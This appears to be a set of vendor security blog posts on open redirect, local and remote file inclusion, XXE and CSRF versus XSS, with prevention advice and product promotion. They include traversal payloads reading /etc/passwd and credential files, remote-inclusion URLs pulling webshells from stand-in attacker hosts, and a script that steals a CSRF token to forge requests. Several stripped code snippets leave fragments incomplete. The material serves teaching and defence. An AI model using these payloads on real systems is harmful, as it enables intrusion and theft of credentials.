Open Redirect Vulnerability: Impact, Severity, and Prevention

What is an Open Redirect Vulnerability?

An Open Redirect Vulnerability entails an attacker manipulating the user and redirecting them from one site to another site – which may be malicious. The cybersecurity community doesn’t put enough emphasis on Open Redirect Vulnerabilities because it is considered a simple flaw commonly connected to phishing scams and social engineering.

However, Open Redirect Vulnerabilities can help attackers in ways that go far beyond phishing. The true risk of this vulnerability is when it is utilized and combined with Server Side Request Forgery, XSS-Auditor bypass, Oauth Flaw, and so on. We will cover these in-depth later on in this post.

open redirect vulnerability

In this article:

Open Redirect Vulnerability Example

Here is an example of PHP code that obtains a URL from a query string:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

This code obtains the URL from user input, then redirects the victim to another URL. The PHP code after the header() function continues executing. If the user configures the browser to ignore the redirect, it is still possible to access the rest of the page.

This code is vulnerable to attacks as long as no validation is implemented to verify the authenticity of the URL. 

For example, threat actors can use this vulnerability to redirect users to malicious sites as part of a phishing campaign. When there is no validation, actors can create a hyperlink to redirect users to malicious sites. Here is how the hyperlink may look like:

http://vulnerablesite.com/vulnerable.php?url=http://malicious.com

Impact of Open Redirection Attacks

Open redirection attacks are most commonly used to support phishing attacks, or redirect users to malicious websites.

Exploiting Open Redirect for Phishing

A user who clicks on a link when browsing a legitimate website, typically does not suspect anything if a login prompt or other form suddenly appears. Threat actors exploit this by sending victims a link to a trusted website, but then exploiting the open redirect vulnerability to redirect to malicious URLs. These URLs are often designed as phishing pages that look trustworthy and similar to the original site. 

Once the victim browses the malicious website, they are typically prompted to enter credentials on a login form. The form points to a script, which is controlled by the actor, usually for the purpose of stealing the user credentials typed by the victim. 

These stolen credentials are saved by the attacker and later used to impersonate these victims on the website. Since the legitimate website domain is displayed when users click on the link, the probability of a successful phishing attack is very high.

Exploiting Open Redirect to Redirect to Malicious Websites

Threat actors can use this vulnerability to redirect users to websites hosting attacker-controlled content, such as browser exploits or pages executing CSRF attacks. If the website that the link is pointing to is trusted by the victim, the victim is more likely to click on the link. For example, an open redirect on a trustworthy banking website can redirect a victim to a page containing a CSRF exploit designed against a vulnerable WordPress plugin.  

Related content: Read our guide to csrf mitigation.

Types of Open Redirects

For the purposes of this blog, we will focus primarily on Open Redirect vulnerabilities that are header and JavaScript-based. Header-based redirects work even when JavaScript isn’t interpreted.

Header-Based Open Redirection

First things first, let’s talk about the Header-based Open Redirection since it works even when a JavaScript doesn’t get interpreted. An HTTP Location header is a response header that does two things:

  • It asks a browser to redirect a URL
  • It provides information regarding the location of a resource that was recently created.

Basically, it’s JavaScript-independent and attackers utilize this tactic to successfully redirect the targeted user to another website. It’s simple but also incredibly effective if the user doesn’t carefully examine the URL for any strange additions to the code.

JavaScript-Based Open Redirection

Server-side code (server-side functions) takes care of tasks like verifying data and requests and then sending the correct data to the user. While JavaScript-based Open Redirections won’t always work for a server-side function, an unexpecting victim and their web browser are susceptible to exploitation. 

When an attacker manages to perform a redirect in JavaScript, many dangerous vulnerabilities are possible. Since Open Redirections are mostly used in phishing scams, people aren’t aware of the fact that an Open Redirection can also be a part of a more complex chain of attacks where multiple vulnerabilities get exploited. And the JavaScript-based Open Redirection is an important part of that chain. For example, redirecting a user to javascript: something() ends up being a dangerous Cross-Site Scripting injection.

Open Redirect in Combination with Other Attacks

As we’ve mentioned before, most people just assume Open Redirects are always tied to phishing scams and social engineering. But they underestimate Open Redirects and how they can be used in conjunction with various attacks.

OAuth Flaw

Let’s discuss how Open Redirect is used to steal users’ confidential information and data. Implementation of an Oauth-flow is best when an attacker wants a victim to sign up or log into any popular platform like Google, Facebook, Twitter, Linkedin, etc. A link will send the victim to the legit website in question (Instagram for example), and then the victim needs to enter their login information. But, then a redirect happens that sends the victim back to a bogus website that’s identical to the real one and the victim is asked to enter their data again, saying the username or the password was incorrect. That’s how your information is stolen, and then the attacker can exploit your information in many ways. Facebook deals with this by requesting a match between redirect_uri and a pre-configured URL, and if there is a mismatch, the redirection is denied. Unfortunately, most other platforms and services don’t do this.

Open Redirect Used for Server Side Request Forgery (SSRF)

In addition, we have Server Side Request Forgery and the Cross-site Scripting Auditor bypass. SSRF is an attack that can compromise a server. Exploiting an SSRF vulnerability makes it easy for a hacker to target the internal systems that hide behind a firewall or filters. Open Redirect is extremely useful when someone needs to bypass these filters. This way the attacker can access content from a domain that can redirect to any number of places. This is how a hacker enters a server and gets free reign to go wherever they please by combining Open Redirect with his SSRF.

Open Redirect XSS Auditor Bypass

Then there’s the Cross-site Scripting (XSS) Auditor bypass. Google Chrome, for example, has a built-in XSS-auditor which stops most attacks from going through. 

But, there’s a way to bypass this by using an Open Redirect. Since this XSS-auditor has no way to stop an attacker from including a bunch of scripts that are hosted at the identical domain. Then the Open Redirect lets you avoid the XSS-auditor with code like:

Open Redirect Vulnerability Fix

There are several ways to avoid open redirect vulnerabilities. Here are key methods recommended by the Open Web Application Security Project (OWASP):

  • Do not use forwards and redirects.
  • Do not allow URLs as user input for a destination.
  • If absolutely necessary to accept a URL from users, ask the users to provide a short name, token, or ID that is mapped server-side to the full target URL. This method provides a high level of protection against attacks that tamper with URLs. However, you must be careful not to introduce an enumeration vulnerability that allows users to cycle through IDs and find all possible redirect targets.
  • When user input cannot be avoided, you should make sure that all supplied values are valid, are appropriate for the application, and are authorized for each user.
  • Create a list of all trusted URLs, including hosts or a regex, in order to sanitize input. Prefer to use an allow-list approach when creating this list, instead of a block list.
  • Force redirects to first go to a page that notify users they are redirected out of the website. The message should clearly display the destination and ask users to click on a link to confirm that they want to move to the new destination.

Detecting and Preventing Open Redirect with Bright

Another excellent way of remedying Open Redirect vulnerability is by utilizing Bright a black-box security testing solution that examines your application, APIs to find vulnerabilities. 

Bright is an automatic scanner that finds both standard and major security vulnerabilities on its own, without any human assistance. It is an excellent remedy for Open Redirect vulnerabilities as it can locate them swiftly and send alerts with remediation guidelines to developers, or automatically open tickets in a bug tracking tool.

Learn more about Bright and get started free

LFI Attack: Real Life Attacks and Attack Examples

What is an LFI Attack?

Local File Inclusion attacks are used by attackers to trick a web application into running or exposing files on a web server. If the attack is successful, it will expose sensitive information, and in severe cases, can lead to XSS and remote code execution.

Learn more about LFI by reading this article – https://brightsec.com/blog/local-file-inclusion-lfi/

In this article you will learn: 

How does an LFI Attack Work

A Local File Inclusion can occur when an application includes a file as user input without properly validating it. This flaw enables an attacker to include malicious files by manipulating the input.

The following vulnerable PHP code could lead to LFI:

https://website-example.com/?page=filename.php

If there is improper input sanitization, an attacker can easily modify the input and manipulate the application into accessing unauthorized files and directories from the host server by using the “../” directive. This is known as Directory or Path Traversal:

https://website-example.com/?page=../../../../etc/test.txt

In the example above, an attacker can successfully exploit the vulnerability by replacing “filename.php” with “../../../../etc/test.txt” in the URL path and accessing the test file. This will enable the hacker to backdoor upload a malicious script on the host server. He can then use LFI to access the script. 

Impact of LFI Attacks

The impact of an LFI attack can be anything from information disclosure to complete system compromise. Even if the included code is not executed, it can still give an attacker enough valuable information to be able to compromise the system.

Real-life LFI Attack Examples

Local File Inclusion is specific to your web server – a vulnerable setup could easily result in an LFI attack. We’ll take a look at some real-life LFI attack examples in order to demonstrate potential issues that you might be facing.

The most popular target for an LFI attack is a file containing usernames and passwords. If your website isn’t secured, all an attacker has to do is to use their intuition or even persistence to find what they’re looking for. So, for example:

http://www.example_target_website.com/download.php?file=document.html

For any attacker, this is a jackpot. Why? Well, to begin with, the request directly accesses the file system, and it can be changed to something arbitrary like:

http://www.example_target_website.com/download.php?file=../../../../etc/passwd

With a bit of luck, an attacker could gain access to usernames and passwords, with obvious repercussions.

Learn more in our detailed guide to file inclusion vulnerability.

Breaches enabled by LFI

Adult Friend Finder breach

Adult Friend Finder, a dating website, suffered a massive data breach back in 2016, where more than 300 million accounts were exposed and made available to online criminals.

The leaked database contained email addresses, poorly or unprotected passwords, usernames, IP addresses and browser information.

To compound matters, the database included over 15 million users who deleted their accounts, as well as users of subsidiaries the company no longer owned.

Just one month before the breach, a security researcher discovered local file inclusion vulnerabilities on the website, believed to be exploited to carry out this hack.

TimThumb breach

Back in 2011, a WordPress add-on script for image cropping and resizing, TimThumb, was used to compromise more than 1.2 million websites – and was used to gather data from databases hosted on servers that also hosted the compromised websites. Unlike the many mass compromises that were accomplished via SQL injection at that time, this attack took advantage of a local file inclusion vulnerability that allowed attackers to insert PHP shells onto Web servers. Attackers used those shells as the jumping-off point for other attacks, including database hacks.

Notable LFI Vulnerabilities

RedHat website

RedHat fixed multiple security issues on their website back in 2013. The issues allowed attackers to extract the website database by using Blind SQLi. RedHat also confirmed their website was vulnerable to XSS and LFI attacks.

Weather.gov

In 2012, Kosova Hacker’s Security group used a local file inclusion vulnerability in weather.gov to gather sensitive server information of “The National Weather Service”. The group later made that information available to the public.

Whatsapp Media Server

Back in 2013, Whatsapp media server interface was vulnerable to Traversal Local File Inclusion. The flaw allowed hackers to gather usernames via an “/etc/passwd” file and also other sensitive files like log files i.e. “/apache/logs/error.log” or “/apache/log/access.log”.

Related content: Read our guide to lfi attack.

LFI Attack Examples

LFI Attack Example 1: Including files to be parsed by the language’s interpreter

Modern website code is usually divided into directories, multiple files, etc., ideally separated into logical pieces. For an interpreter to be able to find these files, the correct file path has to be designated and then passed to a function. The function will then open the file and include it inside the document, for the parser to see it as valid code that can be interpreted.

To include a module, a developer will use the GET parameter with the filename of the function. For example:

https://example-vulnerable-website.com/?module=contact.php

If improper filtering is implemented the attacker can exploit the local file inclusion vulnerability by replacing contact.php with the path of a sensitive file such as a passwd file. The passwd file is where passwords are stored on a Unix system. By replacing the path, the attacker will be able to see the content of the passwd file:

https://example-vulnerable-website.com/?module=/etc/passwd

But this will not only allow the attacker to see the content of the file. An attacker can also inject code on the web server and let the parser interpret it as instructions to exploit the LFI vulnerability. For Example, an attacker can simply abuse the picture upload functionality with an image containing malicious code in its source, such as:

https://example-vulnerable-website.com/?module=uploads/image123.gif

When exploiting a local file inclusion vulnerability, an attacker can also perform directory traversal or path traversal attacks. For example, the attacker can access other files on the web server, such as web server log files (e.g. error.log and access.log) or other files that may contain sensitive metadata about the web application and web server.

LFI Attack Example 2: Including files that are printed to a page

Sometimes a developer needs to share the output of a file across multiple pages. This file could be plain html that doesn’t have to be interpreted by any parser on the server side. 

Imagine the developer having a collection of .txt files with help text that he wants to make available through a web application. He can reach those files through a link:

https://example-vulnerable-website.com/?helpfile=login.txt

The content will be printed directly on the web page without using a database to store the information.

When no proper filtering is implemented, an attacker can change the link to something like https://example-vulnerable-website.com/?helpfile=../secret/.htpasswd to retrieve the password hashes of a .htpasswd file. The .htpasswd file usually contains the credentials of all users, including those that have access to restricted areas of the web server.

This can lead to the attacker being able to access and read the content of other hidden configuration files containing passwords and other sensitive information.

LFI Attack Example 3: Including files that are served as downloads

There are types of files that all web browsers open automatically – a PDF, for example. If the developer wants the pdf file to be downloaded instead of opened in the browser, he can simply add the header Content-disposition: attachment; filename=file.txt to the request. This will force the web browser to download the files instead of opening them.

Now imagine a company having brochures in pdf format available for download by using this link:

https://example-vulnerable-website.com/?download=brochure.pdf

If no proper sanitization of the request is implemented, the attacker can request the download of files that make up the web application – enabling them to read source code and eventually find other web application vulnerabilities or read sensitive file contents. The same function can be used by the attacker to read the source code of the file connection.php:

https://example-vulnerable-website.com/?download=../include/connection.php

If the attacker is able to find the database user, their passwords and the host, they can connect to the database remotely with the stolen credentials. If the compromised database user has file write privileges, the hacker can execute database commands and compromise the web server.

Preventing LFI Attacks

The recommended approach to eliminate the risk of LFI attacks is to disallow or prevent user-submitted input from being passed to any filesystem or framework API in your application. If that is not possible and you need that functionality, then make sure all user-input is properly sanitized.

Here are a few easy steps you can take to prevent LFI attacks:

  • ID assignation – always save your file paths in a secure database. Give an ID for every single one. By doing so, users only get to see the ID
  • Whitelisting – ignore everything that is not a verified and secured whitelist file
  • Use databases – use a database instead of including files on a web server that can be compromised
  • Better server instructions – configure the server so it sends the download headers automatically instead of executing files in a specified directory

Detecting LFI vulnerabilities with Bright

With Bright you can easily scan your web applications and APIs for security vulnerabilities, including local file inclusion.

Whether as a stand alone scanner or integrated across your CI/CD so developers can own security testing, Bright automatically validates every finding, delivering no false positive results with developer friendly remediation guidelines to find and fix issues early and often.

Start scanning your applications and APIs today, with a FREE Bright account – sign up here!

XXE Prevention: XML External Entity (XXE) Attacks and How to Avoid Them

XML External Entity Injection (XXE) is one of the most common vulnerabilities. At its core, it’s a web security vulnerability where attackers target  and compromise an application’s processing of XML data. 

However, what makes XXE attacks so powerful is that they can be deployed against various programming languages, including C/C++, Java, .Net, iOS. Let’s Look at how XXE injection attacks work and what you can do to prevent them.

In this article you will learn:

How does XXE work?

Alongside JSON, XML is probably the most popular tool that developers use when working with data. While JSON is simpler to use, XML is more powerful and it’s often utilized for bigger projects that require more complex data operations. Unlike JSON, XML can also display the data as it’s a markup language. A big difference between these two is that XML requires a parser while JSON does not. It is this differentiation that leads to potential security exploits, as vulnerabilities are often introduced when creating XML parsers. 

XXE attacks can also be leveraged by an attacker to perform server-side request forgery (SSRF) attacks to compromise the underlying server.

Types of XXE

XXE attacks are a powerful method of exploiting applications, owing to the numerous ways in which in can be exploited, including:

  • Carrying out a SSRF (Server-Side Request Forgery) attack 
  • Gaining access to file contents through requesting the application’s response
  • Forcing error messages through blind XXE, and potentially displaying sensitive data in those parsing error messages

XXE Prevention in common programming languages

XXE can be prevented through smart coding practices, and we’ll go through some of the most popular programming languages where this vulnerability occurs. 

XXE Prevention in C/C++

XXE regularly shows up in C/C++. This issue occurs due to the use of Libxml2, which is an XML parser. However, the issue lies in the fact that libxml2 allows external entities by default.

Luckily, there is a way to prevent this from happening. You can install your personal entity loader via xmlSetExternalEntityLoader, which allows you to control which URLs to load, preventing any unwanted action on your application. 

XXE Prevention in Java

Hackers using XXE attacks love Java as most Java XML parsers are vulnerable to XXE, thus making life difficult for you. 

For example, one of the most popular Java parsers dom4j, used to have XXE vulnerability and it’s very likely that most Java applications are still vulnerable to it. However, you should update dom4js to at least version 2.1.3 in order to avoid this behavior and prevent XXE attacks.

Here’s an example of unsafe Java code vulnerable to XXE attack:

DocumentBuilderFactory dbf= DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();

However, this can easily be prevented by adding a snippet of code that disables DOCTYPES:

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

XXE Prevention in .NET

Finally, some good news for .net developers – the XXE attack prevention is no longer an issue since version 4.5.2. While .net applications using this framework were vulnerable up until 4.5.1, this issue is now resolved and you can rest easy knowing that your applications are safe(r). 

While we’d all be using the latest versions in an ideal world, unfortunately, that’s not possible for everyone. But worry not, there’s still a solution to your problem! Perhaps the best way to keep your code safe is to simply shut down any external resources via XmlResolver.

XmlDocument xmlDocument = new XmlDocument();
xmlDocument.XmlResolver = null;
xmlDocument.LoadXml(XMLOutputString);

XXE Prevention in iOS

iOS developers will mostly face similar issues that C/C++ has regarding XXE attacks. Just like C/C++, iOS uses libxml2 as a parsing library. Even though libxml2 version 2.9 protects against XXE automatically, iOS6 and older use the old libxml version resulting in vulnerable code. 

This is where NSXMLDocument comes in. It’s a feature for iOS built on top of libxml2 and you can easily protect against XXE by using this command when creating a new NSXMLDocument:

NSXMLNodeLoadExternalEntitiesNever

XXE Prevention in PHP

As you all probably know, PHP is one of, if not the most popular server-side languages out there. It’s used in all sorts of web applications, making it a perfect target for malicious attacks.

This especially applies to XML parsing because it’s so often used with PHP. The good thing, however, is that you can create XXE attack prevention relatively easily. When using the default XML Parser with PHP, all you have to do is add the following line to your code:

libxml_disable_entity_loader(true);

This disables the ability to load external entities, keeping your application safe.

XXE Prevention in Python

Python’s popularity brings so many amazing things with it as it allows for endless modules to be created. However, this luxury often comes at the cost of security, considering the fact that many of these modules aren’t built with safety in mind. As far as XML parsing goes in Python, these are some of the most popular parsers: 

  • Pulldom
  • Lxlm
  • Sax
  • Etree
  • Genshi
  • Xmlrpc
  • Minidom

Etree, Minidom, Xmlrpc, and Genshi are secured by default and they don’t require additional action in order to protect from XXE injection. However, there is a way for each of these parsers to be secured, and that is with defusedxml. It’s fully compatible with any of the packages above, and it provides full protection against potential XXE attacks. 

Defusedxml disallows access to local or remote resources in an external entity and raises an exception any time this is attempted.

How to Test for XXE

XXE attacks pose a serious risk, but can be easily prevented by using and properly configuring a good XML parser, as well as ensuring input validation, proper error handling and minimizing filesystem permissions. Make sure you scan your applications for XXE detection and other vulnerabilities before you release them to production, ideally integrated into your development pipelines to scan every build or merge to master – Try Bright for free to achieve just that

File Inclusion Vulnerabilities: What are they and how do they work?

In this article we will cover:

What are File Inclusion Vulnerabilities?

File Inclusion vulnerabilities often affect web applications that rely on a scripting run time, and occur when a web application allows users to submit input into files or upload files to the server. They are often found in poorly-written applications.

File Inclusion vulnerabilities allow an attacker to read and sometimes execute files on the victim server or, as is the case with Remote File Inclusion, to execute code hosted on the attacker’s machine.

An attacker may use remote code execution to create a web shell on the server, and use that web shell for website defacement.

Types of file inclusion vulnerabilities

File inclusion vulnerabilities come in two types, depending on the origin of the included file:

– Local File Inclusion (LFI)
– Remote File Inclusion (RFI)

Local File Inclusion (LFI)

A Local File Inclusion attack is used to trick the application into exposing or running files on the server. They allow attackers to execute arbitrary commands or, if the server is misconfigured and running with high privileges, to gain access to sensitive data.

These attacks typically occur when an application uses the path to a file as input. If the application treats that input as trusted, an attacker can use the local file in an include statement.

While Local File Inclusion and Remote File Inclusion are very similar, an attacker using LFI may include only local files.

Local File Inclusion (LFI) Example

/**
* Get the filename from a GET input
* Example - http://example-website.com/?file=filename.php
*/
$file = $_GET[‘file’];

/**
* Unsafely include the file
* Example - filename.php
*/
include(‘directory/’ . $file);

In the example above the attacker’s intent is to trick the application into executing a PHP script, such as a web shell

http://example-website.com/?file=../../uploads/malicious.php

Once a user runs the web application, the file uploaded by the attacker will be included and executed. This will allow the attacker to run any server-side code that he wants.

Learn more about local file inclusion attack – https://brightsec.com/blog/local-file-inclusion-lfi/

Remote File Inclusion (RFI)

An attacker who uses Remote File Inclusion targets web applications that dynamically reference external scripts. The goal of the attacker is to exploit the referencing function in the target application and to upload malware from a remote URL, located on a different domain.

The results of a successful RFI attack can be information theft, a compromised server and a site takeover, resulting in content modification.

Remote File Inclusion (RFI) Example

This example illustrates how Remote File Inclusion attacks work:

  1. A JavaServer Pages page containing the following code:

”> 

can be manipulated with the following request: 

Page1.jsp?ParamName=/WEB-INF/DB/password.

After the application processes the request, it will reveal the content of the password file.

  1. The application has an import statement that requests content from a URL address: 

”>.

The same input statement can be used for malware injection if the statement is unsanitized.

For example: 

Page2.jsp?conf=https://evil-website.com/attack.js

  1. An attacker will often launch a Remote File Inclusion attack by manipulating the request parameters so that they refer to a remote, malicious file.

For example, consider the following code:

$incfile = $_REQUEST[“file”];
include($incfile.”.php”);

  1. $incfile = $_REQUEST[“file”]; – extracts the file parameter value from the HTTP request.
  1. include($incfile.”.php”); – uses that value to dynamically set the file name.

If you don’t have proper sanitization in place, this code can be exploited, resulting in unauthorized file uploads.

For example, this URL string:

http://www.example-website.com/vulnerable_page.php?file=http://www.attacker.com/backdoor

contains an external reference to a backdoor file stored in a remote location (http://www.attacker.com/backdoor_shell.php.)

Once uploaded to the application, this uploaded backdoor can be later used to hijack the server or gain access to the application database.

RFI prevention and mitigation

To minimize the risk of RFI attacks, proper input validation and sanitization has to be implemented. Ensure you don’t fall victim of the misconception that all user inputs can be fully sanitized. Look at sanitization only as an additive to a dedicated security solution.

Sanitize the user supplied or controlled input the best you can including:

  • HTTP header values
  • URL parameters
  • Cookie values
  • GET/POST parameters

Check the input fields against a whitelist. An attacker can supply input in a different format (encoded or hexadecimal formats) and bypass a blacklist.

Client-side validation comes with the benefit of reduced processing overhead, but they are vulnerable to attacks by proxy tools, so apply the validation on the server end.

Make sure you restrict execution permissions for the upload directories, maintain a whitelist of acceptable files types, and restrict upload file sizes.

Learn more in our detailed guide to lfi attack.

File inclusion vulnerabilities in common programming languages with examples

File inclusion in PHP

The main cause of File Inclusion vulnerabilities in PHP, is the use of unvalidated user-input with a filesystem function that includes a file for execution – most notable being the include and require statements. In PHP 5.x the allow_url_include directive is disabled by default, but be cautious with applications written in older PHP versions, because before 5.x allow_url_include was enabled by default.

The goal of the attacker is to alter a variable that is passed to one of these functions, to cause it to include malicious code from a remote resource.

To mitigate the risk of File Inclusion vulnerabilities in PHP, make sure all user input is validated before it’s being used by the application.

Example of an file Inclusion vulnerability in PHP

If (isset($_GET[‘language’])) {
include($_GET[‘language’] . ‘.php’);
}
?>




The developer intended to read in english.php or french.php, which will alter the application’s behavior to display the language of the user’s choice. But it is possible to inject another path using the language parameter. 

For example:

  • /vulnerable.php?language=http://evil.example.com/webshell.txt? – injects a remotely hosted file containing a malicious code (remote file include)
  • /vulnerable.php?language=C:\ftp\upload\exploit – Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
  • /vulnerable.php?language=C:\notes.txt%00 – example using NULL meta character to remove the .php suffix, allowing access to files other than .php. Note, this use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks.
  • /vulnerable.php?language=../../../../../etc/passwd%00 – allows an attacker to read the contents of the etc/passwd file on a Unix-like system through a directory traversal attack.
  • /vulnerable.php?language=../../../../../proc/self/environ%00 – allows an attacker to read the contents of the /proc/self/environ file on a Unix-like system through a directory traversal attack. An attacker can modify a HTTP header (such as User-Agent) in this attack to be PHP code to exploit remote code execution.

The best solution in this case is to use a whitelist of accepted language parameters. If a strong method of input validation, such as a whitelist, cannot be used, then rely upon input filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.

JavaServer Pages (JSP)

JavaServer Pages (JPS) is a scripting language which can include files for execution at runtime.

Example of an File Inclusion vulnerability in JSP

<%
String p = request.getParameter(“p”);
@include file=”<%=”includes/” + p +”.jsp”%>”
%>

  • /vulnerable.jps?p=../../../../var/log/access.log%00 – Unlike PHP, JSP is still affected by Null byte injection, and this param will execute JSP commands found in the web server’s access log.

Server Side Includes (SSI)

Although a Server Side Include is uncommon and not typically enabled on a default web server, it can be used to gain remote code execution on a vulnerable web server.

Example of an File Include vulnerability in SSI

The following code is vulnerable to a remote-file inclusion vulnerability:




Test file




The above code is not an XSS vulnerability, but rather including a new file to be executed by the server.

How can Bright help prevent File Inclusion vulnerabilities?

As mentioned, input sanitization and proper file management practices are almost never sufficient on their own, even if they effectively minimize the risk of File Inclusion. This is important, as many attacks succeed as a result of a false sense of security, which is encouraged by DIY practices. 

Bright can scan your web applications to detect File Inclusion vulnerabilities. 

Whether as a standalone scanner to test your production ready web applications or seamlessly integrated into your CI/CD pipelines, developer friendly remediation guidelines are provided, with all the relevant information you need to understand the issue and fix it, with no false positives. 

In terms of reporting, a diff-like view is provided, highlighting what the engine did to exploit the vulnerability, like in the Local File Inclusion below:

https://example-site/bar/file=content.ini..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Bright indicates the original part in red, with the green part representing what was added by the tool.

You can start testing for File Inclusion vulnerabilities today with Bright. Get a free account here – https://app.brightsecurdev.wpenginepowered.com/signup

CSRF vs XSS: What are their similarity and differences

Both CSRF and XSS are client side attacks. What else do they have in common and what is the difference between them? Learn the answer to those and more questions by reading this article. We are going to cover:

What is the difference between CSRF and XSS?

What is CSRF?

Cross site request forgery (CSRF) is a web application security attack that tricks a web browser into executing an unwanted action in an application to which a user is already logged in. The attack is also known as XSRF, Sea Surf or Session Riding.

A successful CSRF attack can result in damaged client relationships, unauthorized fund transfers, changed passwords and data theft. This attack can be devastating for both the business and the client.

CSRF vulnerabilities have been found in many applications including some big names like McAfee and INGDirect.

How does CSRF work?

To conduct a successful CSRF attack, the attacker will typically use social engineering, such as an email or link that will trick a victim into sending a forger request to a server. As the user is already authenticated by their application at the time the attack is happening, it’s impossible for the application to differentiate a legitimate request from a forged one.

For a CSRF attack to be possible and successful, these three key conditions must be in place:

  • Relevant action: privileged action or any action on user-specific data
  • Cookie-based session handling: the action performing involves issuing one or several HTTP requests, and the application relies only on session cookies to identify the user who made the request. No other mechanism is in place for validating user requests or tracking sessions.
  • No unpredictable request parameters: the request doesn’t contain any parameters whose values cannot be guessed or determined by the attacker.

CSRF Example

Assume that your bank’s website provides a form that allows transferring funds from the logged in user to a different bank account. For example, the HTTP request might look like this:

POST /transfer HTTP/1.1
Host: bank.example.com
Cookie: JSESSIONID=randomid; Domain=bank.example.com; Secure; HttpOnly
Content-Type: application/x-www-form-urlencoded
amount=100.00&routingNumber=1234&account=9876

Assume you authenticate to your bank’s website, and without logging out, you visit an evil website. The evil website contains a HTML page that has the following form:


      name="amount"
      value="100.00"/>
        name="routingNumber"
      value="evilsRoutingNumber"/>
        name="account"
      value="evilsAccountNumber"/>
        value="Win Money!"/>

You like winning money, so the next thing you do is clicking the submit button. Unintentionally, you transfer $100 to a malicious user in the process. Why does this happen? While the evil website can’t see your cookies, those cookies associated with your bank are being sent along with the request.

What is XSS?

Cross-site scripting or XSS is a web security vulnerability that lets an attacker compromise the interactions users have with a vulnerable application. The attacker is allowed to avoid the same origin policy designed to segregate different websites.

XSS vulnerabilities usually allow the attacker to disguise as a victim user, to perform any action the user is able to perform, and to access any of the user’s data. The attacker might be able to get complete control over all of the application’s data and functionality if the victim user has privileged access within the application. XSS attacks’ victims include some big names like eBay, Twitter and Yahoo.

How does XSS work?

A typical XSS attack has two stages:

  1. For running malicious JavaScript code in a victim’s browser, the attacker must find a way to inject the malicious code to a web page the victim visits.
  2. After injecting the malicious code, the victim needs to visit the webpage with that code. If the attack is directed at particular victims, social engineering and/or phishing can be used to send a malicious URL to the victim.

XSS Example

The following snippet of server-side pseudo code is used to display the most recent comment on a web page:

print “”
print “

Most recent comment


print database.latestComment
print “

The script above takes the latest comment from a database and inserts it into an HTML page. It assumes that the comment consists of only text, without any HTML tags or other code. What makes it vulnerable to XSS is allowing the attacker to submit a malicious payload within a comment, like:

The web server provides the following HTML code to users that visit this web page:


Most recent comment



The malicious script executes once the page is loaded in the victim’s browser. Most often, the victim is unable to prevent such an attack because it is hard to even realize the attack is happening.

How is CSRF different from XSS?

The key difference between those two attacks is that a CSRF attack requires an authenticated session, while XSS attacks don’t. Some other differences are:

  • Since it doesn’t require any user interaction, XSS is believed to be more dangerous
  • CSRF is restricted to the actions victims can perform. XSS, on the other hand, works on the execution of malicious scripts enlarging the scope of actions the attacker can perform
  • XSS requires only a vulnerability, while CSRF requires a user to access the malicious page or click a link
  • CSRF works only one way – it can only send HTTP requests, but cannot view the response. XSS can send and receive  HTTP requests and responses in order to extract the required data.

Can CSRF tokens prevent XSS attacks?

Some XSS attacks can be prevented through effective use of CSRF tokens. Consider a simple reflected XSS vulnerability that can be trivially exploited like this:

https://insecure-website.com/status?message=

Now, suppose that the vulnerable function includes a CSRF token:

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=

If the server properly validates the token, and rejects requests without a valid CSRF token, the token will prevent exploitation of the XSS vulnerability. The reflected form of XSS involves a cross-site request. By preventing the malicious user from forging a cross-site request, the application prevents trivial exploitation of the XSS vulnerability.

Some important caveats arise here:

  • If a reflected XSS vulnerability is present anywhere else on the website in a function that is not protected by a CSRF token, XSS can be exploited in the normal way
  • An exploitable XSS vulnerability anywhere on the site can be leveraged to make a victim user perform actions even if those actions are protected by CSRF tokens. 
  • CSRF tokens don’t protect against stored XSS. If a page protected by a CSRF token is also the output point for a stored XSS vulnerability, then that XSS vulnerability can be exploited in the usual way.

Can we bypass CSRF protection with an XSS attack?

Using XSS we can bypass the CSRF protection and we can automate any action that anybody can do on the application without problems.

Let’s start with a basic CSRF POST attack, which would look something like this:


    
       Name:
   


The attacker would place this code on a website, and then trick a victim into visiting it. Because of CSRF protection, this would not work. The result would be:

wrong token given: unknown_csrf_token expected: 4baabea60e7683f9feb54086cebda4e4

If the attacker now introduces an XSS vulnerability to the website, he will be able to perform CSRF attacks. The XSS vulnerability doesn’t have to be in the same script as the form is:

// /var/www/csrf/search.php

    
        
    

Now it’s easy for the attacker to bypass CSRF protection via XSS. He would first get the valid token from the form, build the attack from with the retrieved token, and then submit the form:

var csrfProtectedPage = 'http://localhost/csrf/login.php';
var csrfProtectedForm = 'form';
// get valid token for current request
var html = get(csrfProtectedPage);
document.body.innerHTML = html;
var form = document.getElementById(csrfProtectedForm);
var token = form.token.value;
// build form with valid token and evil credentials
document.body.innerHTML
        += '

'
        + ''
        + ''
        + '';
// submit form
document.forms["myform"].submit();
function get(url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    return xmlHttp.responseText;
}

After that, the attacker would place this script on a server under his control, for example http://localhost/csrf/script.js, and would trick the victim into visiting http://localhost/csrf/search.php?s=.

The malicious JavaScript doesn’t have to be hosted on the victim server.

The script would be executed in the context of the victim website, and the attacked form would be submitted in the name of the victim user.

The result in our debug file would be:

issuing token: 8c168479619c9dbcbfa1cdef5e93daf8
token ok: evilUser

The value evilUser, controlled by the attacker, would be submitted by the victim.

In an actual attack, the victim wouldn’t be aware of any of this happening, as the attacker can load and execute the malicious JavaScript in an iframe and possibly redirect the victim to an innocent page.

Preventing CSRF and XSS with Bright

Having CSRF protection in place doesn’t limit the potential of XSS vulnerabilities. This increases the importance of proper XSS protection. 

With Bright you can test for both CSRF and XSS, besides of other OWASP Top 10 vulnerabilities and more. Bright is from ground up built with developers in mind, and integrates with the tools developers already use and love.

Bright reports only those findings that the engine validates can be exploited, reducing the alert fatigue to zero. The reported findings come with clear remediation guidelines for the team, to fix the security vulnerabilities before they hit production.

